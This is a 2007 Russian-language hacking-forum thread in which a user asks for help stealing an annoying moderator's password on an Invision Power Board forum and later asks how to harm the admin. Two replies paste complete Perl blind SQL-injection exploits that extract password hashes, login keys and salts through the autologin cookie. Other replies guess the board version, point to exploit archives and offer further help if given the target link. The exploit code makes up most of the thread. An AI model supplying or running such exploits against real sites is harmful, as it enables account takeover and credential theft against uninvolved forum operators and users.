ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

В копирайтах: Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc. С чем это едят? :)
  #1  
Старый 12.01.2007, 19:42
Аватар для СССР
СССР
Новичок
Регистрация: 05.01.2007
Сообщений: 9
Провел на форуме:
63718

Репутация: 2
По умолчанию В копирайтах: Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc. С чем это едят? :)

собственно сабжик нашёл форум
Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc.
прочитал сдесь все темы по поводу ipb но этой версии нету может он схожа с какойто другой
собственно цель приследую захватить =) пароль модератора надоедливавого
посоветуйте с чего начать ?
 
Ответить с цитированием

  #2  
Старый 12.01.2007, 19:51
Аватар для zl0ba
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

r57ipb2 - им пробуй!

PHP код:
#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2 
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb13/
## [~] MEMBER ID : 1
## [~]    TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com  /ipb202/ 1 1
## [~]    SERVER : blah.com 
## [~]      PATH : /ipb202/
## [~] MEMBER ID : 1
## [~]    TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@
ARGV 4) { &usage; }

$server    $ARGV[0];
$path      $ARGV[1];
$member_id $ARGV[2];
$target    $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request  'http://';
$request .= $server;
$request .= $path;

$s_num 1;
$|++;
$n 0;

print 
"[~]    SERVER : $server\r\n";
print 
"[~]      PATH : $path\r\n";
print 
"[~] MEMBER ID : $member_id\r\n";
print 
"[~]    TARGET : $target";
print ((
$target)?(' - IPB 2.*'):(' - IPB 1.*'));
print 
"\r\n";
print 
"[~] SEARCHING PASSWORD ... [|]";

(
$cmember_id $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(
1)
{
if(&
found(47,58)==0) { &found(96,122); } 
$char $i;
if (
$char=="0"
 { 
 if(
length($allchar) > 0){
 print 
qq{\b\b DONE 
 
 
MEMBER ID $member_id
 
};
 print ((
$target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
 print 
$allchar."\r\n";
 }
 else
 {
 print 
"\b\b FAILED ]";
 }
 exit();  
 }
else 
 {  
  
$allchar .= chr(42);
 }
$s_num++;
}

sub found($$)
 {
 
my $fmin $_[0];
 
my $fmax $_[1];
 if ((
$fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 
$r int($fmax - ($fmax-$fmin)/2);
 
$check " BETWEEN $r AND $fmax";
 if ( &
check($check) ) { &found($r,$fmax); }
 else { &
found($fmin,$r); }
 }
 
sub crack($$)
 {
 
my $cmin $_[0];
 
my $cmax $_[1];
 
$i $cmin;
 while (
$i<$cmax)
  {
  
$crcheck "=$i";
  if ( &
check($crcheck) ) { return $i; }
  
$i++;
  }
 
$i 0;
 return 
$i;
 }
 
sub check($)
 {
 
$n++;
 
status();
 
$ccheck $_[0];
 
$pass_hash1 "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
 
$pass_hash2 "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"
 
$pass_hash3 $pass.",".$s_num.",1))".$ccheck.") /*";
 
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 
$nmalykh    "%20";
 
$socket IO::Socket::INET->newProto => "tcp"PeerAddr => "$server"PeerPort => "80");

 
printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
 
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);
 
 while(<
$socket>) 
  { 
  if (/
Set-Cookiesession_id=0;/) { return 1; }
  } 

 return 
0;
 }
 
sub status()
{
  
$status $n 5;
  if(
$status==0){ print "\b\b/]";  }
  if(
$status==1){ print "\b\b-]";  }
  if(
$status==2){ print "\b\b\\]"; }
  if(
$status==3){ print "\b\b|]";  }
}

sub usage()
 {
 print 
q(
 
Invision Power Board v 2.0.4 SQL injection exploit
 
----------------------------------------------------
 
USAGE:
 ~~~~~~
 
r57ipb2.pl [server] [/folder/] [member_id] [target]
 
 [
server]    - host where IPB installed
 
[/folder/]  - folder where IPB installed
 
[member_id] - user id for brute
 
 targets
:
          
IPB 1.*
          
IPB 2.* (Prior To 2.0.4)
 
 
e.gr57ipb2.pl 127.0.0.1 /IPB1 1
 
----------------------------------------------------
 (
c)oded by 1dt.w0lf
 RST
/GHC http://rst.void.ru , http://ghc.ru
 
);
 exit();
 } 
 
Ответить с цитированием

  #3  
Старый 12.01.2007, 19:54
Аватар для Ksander
Ksander
Постоянный
Регистрация: 21.06.2006
Сообщений: 931
Провел на форуме:
4836047

Репутация: 930


По умолчанию

Цитата:
Сообщение от СССР  
Invision Power Board v.2.0.0.7 © Jan2007 IPS, Inc.
Скорей всего 2.1.7
 
Ответить с цитированием

  #4  
Старый 12.01.2007, 20:03
Аватар для -Concord-
-Concord-
Постоянный
Регистрация: 16.06.2006
Сообщений: 334
Провел на форуме:
1732994

Репутация: 600
Отправить сообщение для -Concord- с помощью ICQ
По умолчанию

да не скорее 2.0.0 =)
 
Ответить с цитированием

  #5  
Старый 13.01.2007, 14:39
Аватар для СССР
СССР
Новичок
Регистрация: 05.01.2007
Сообщений: 9
Провел на форуме:
63718

Репутация: 2
По умолчанию

такс спосибо модером что под правили -)
и так ешё вопросик !
я понел что я х.. что сам то сделаю
как можео хотябы нагадить админу в душу чтоли ?)))))
 
Ответить с цитированием

  #6  
Старый 13.01.2007, 14:49
Аватар для zl0ba
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
Провел на форуме:
2132613

Репутация: 1365


По умолчанию

А ты ссылку на растерзания дай, может чем то и поможем!
 
Ответить с цитированием

  #7  
Старый 13.01.2007, 14:55
Аватар для delay(0)
delay(0)
Участник форума
Регистрация: 22.11.2006
Сообщений: 117
Провел на форуме:
1813343

Репутация: 141
По умолчанию

СССР,
Определение версии в своей статье доходчиво описал киб. Как следствие, не ври что читал...
http://forum.antichat.ru/thread11615.html
 
Ответить с цитированием

  #8  
Старый 13.01.2007, 15:55
Аватар для maxster
maxster
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631

Репутация: 380
Отправить сообщение для maxster с помощью ICQ
По умолчанию

2zl0ba
если это 2.0.* лутше этот эксплойт, а то логин кей только для подмены куков нужен, а тут и хеш и соль!
PHP код:
#!/usr/bin/perl 

## Invision Power Board SQL injection exploit by Coyl. CiaNeeD team. 
## for stealing converge_pass_salt value from ipb database 
## on some ipb forums it steals the legacy_password which is the first md5 
## hash of the target password. 
## vulnerable forum versions : 2.* (<2.0.4) 
## tested on version 2.0.2 
## * work on mysql 4.0, 4.1 versions 
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On) 
## coded by Coyl 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
## screen: 
## ~~~~~~~ 
## /ipb.pl 127.0.0.1 /fo/ 1 
## [~] SERVER : 127.0.0.1 
## [~] PATH : /fo/ 
## [~] MEMBER ID : 1 
## [~] VALUE TO STEAL : 
## [~] SEARCHING THE EASIEST WAY... [ FAILED ] 
## [~] SEARCHING THE SALT [\5][ DONE ] 
## 
## SALT : UoU1o 
## 
## [~] SEARCHING THE PASS HASH [/32][ DONE ] 
## 
## PASS HASH : 1ab2bc1f32f231f234313444233d 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
## Greets: 1dt.w0lf , RST/GHC , http://rst.void.ru , http://ghc.ru 
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

use IO::Socket

if (@
ARGV 3) { &usage; } 

$enum=0
$cookie 1
$server $ARGV[0]; 
$path $ARGV[1]; 
$member_id $ARGV[2]; 
$prefix = ($ARGV[3])?($ARGV[3]):("ibf_"); 



$server =~ s!(http:\/\/)!!; 

$request 'http://'
$request .= $server
$request .= $path

$s_num 1
$|++; 
$n 0

print 
"[~] SERVER : $server\r\n"
print 
"[~] PATH : $path\r\n"
print 
"[~] MEMBER ID : $member_id\r\n"
print 
"[~] VALUE TO STEAL : \r\n"
print 
"[~] SEARCHING THE EASIEST WAY... [|0]"

(
$cmember_id $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg
$flag=0
$field=1
LOOP: while(1

$pass = ($field)?('converge_pass_hash'):('converge_pass_salt'); 

if(
$field) { if(&found(96,123)==0) { &found(47,58)}} 
if(!
$field&&$flag) { &found(33,126) } 

$char $i

if (
$char=="0"

if(
length($allchar) > 0){ 
print 
qq{[ DONE 
}; 
if (!
$flag) { print "\r\nSIMPLE PASS HASH : "; print $allchar."\r\n";} 
else 

print ((
$field)?("\r\n PASS HASH : "):("\r\n SALT : ")); 
print 
$allchar."\r\n\r\n"
$allchar=''
$enum=0
$s_num=1
$field++; 
if (!(
$field==2)){print "[~] SEARCHING THE PASS HASH [|0]"redo LOOP}; 


else 

if (!
$flag

print 
"$back FAILED ]\r\n"
print 
"[~] SEARCHING THE SALT [|0]"
$flag=1
$field=0
redo LOOP

if (
$flag

print 
"$back FAILED ]\r\n"


exit(); 

else 
$allchar .= chr($char); 
$enum++; 
}
$s_num++; 


sub found($$) 

my $fmin $_[0]; 
my $fmax $_[1]; 
if ((
$fmax-$fmin)<5) { $i=&crack($fmin,$fmax); return $i; } 

$r int($fmax - ($fmax-$fmin)/2); 
$check " BETWEEN $r AND $fmax"
if ( &
check($check) ) { &found($r,$fmax); } 
else { &
found($fmin,$r); } 


sub crack($$) 

my $cmin $_[0]; 
my $cmax $_[1]; 
$i $cmin
while (
$i<$cmax

$crcheck "=$i"
if ( &
check($crcheck) ) { return $i; } 
$i++; 

$i 0
return 
$i


sub check($) 

$n++; 
status(); 
$ccheck $_[0]; 
$non="1%2527+union+select+converge_id%2Cconverge_pass_salt%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0+from+".$prefix."members_converge+where+%28converge_id%3D"
$eas="1%2527+OR+%28id%3D"
$pass_hash1 = ($flag)?($non):($eas); 
$pass_hash2 "+AND+ascii%28substring%28"
$pass_hash3 = (($flag)?($pass):("legacy_password")).",".$s_num.",1))".$ccheck.") /*"
$pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg
$socket IO::Socket::INET->newProto => "tcp"PeerAddr => "$server"PeerPort => "80"); 

printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s\nConnection: close\n\n"
$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3); 

while(<
$socket>) 

if (/
Set-Cookiesession_id=0;/) { 
return 
1; } 



return 
0


sub status() 

$status $n 5
if (
$enum<10) {$back="\b\b\b";} 
else {
$back="\b\b\b\b"}; 
if(
$status==0){ print "$back\\$enum]"; } 
if(
$status==1){ print "$back-$enum]"; } 
if(
$status==2){ print "$back/$enum]"; } 
if(
$status==3){ print "$back|$enum]"; } 


sub usage() 

print 
q
Invision Power Board v 2.0.0 2.0.4 SQL injection exploit modified 
-------------------------------------------------------------------- 
USAGE
~~~~~~ 
r57ipb2.pl [server] [/folder/] [member_id] [prefix-optinal

[
server] - host where IPB installed 
[/folder/] - folder where IPB installed 
[member_id]- user id for brute 
[prefix] - database prefix \(ibf_ by default\) 

e.gipb.pl 127.0.0.1 1 ipb_ 
-------------------------------------------------------------------- 
coded by CoylCiaNeeD team
-------------------------------------------------------------------- 
greets to 1dt.w0lf RST/GHC http://rst.void.ru , http://ghc.ru 
-------------------------------------------------------------------- 
); 
exit(); 


Последний раз редактировалось maxster; 13.01.2007 в 16:10..
 
Ответить с цитированием

  #9  
Старый 13.01.2007, 16:14
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

С хлебом. И молоком.
А серьезно, под 2.0.х дофига эксплоитов. search milw0rm
 
Ответить с цитированием

  #10  
Старый 13.01.2007, 16:47
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

http://someshit.net/forumdisplay.php?f=4
пробуй

правда маловероятно что 2007 года он 2.0.0.7 (такой версии то и нет)

скорее васего либо айпи динамик, либо 2.1.7
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
форумные движки: обзор и обсуждение nerezus ПО для Web разработчика 61 29.04.2010 10:08
С чего начинается достойный проект ОТЕЦ Чужие Статьи 2 28.09.2006 08:43
Обход ограничений безопасности в Invision Power Board 2.1.7 Vilen Форумы 5 21.09.2006 22:12
Уязвимости в Invision Power Board(U) v1.3 PF1. Вопрос. dukalis(AwP) Форумы 14 19.04.2006 19:40
Сколько полей в таблице ibf_topics в форуме Invision Power Board 1.3.1? LittleLamer Форумы 2 29.01.2005 03:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ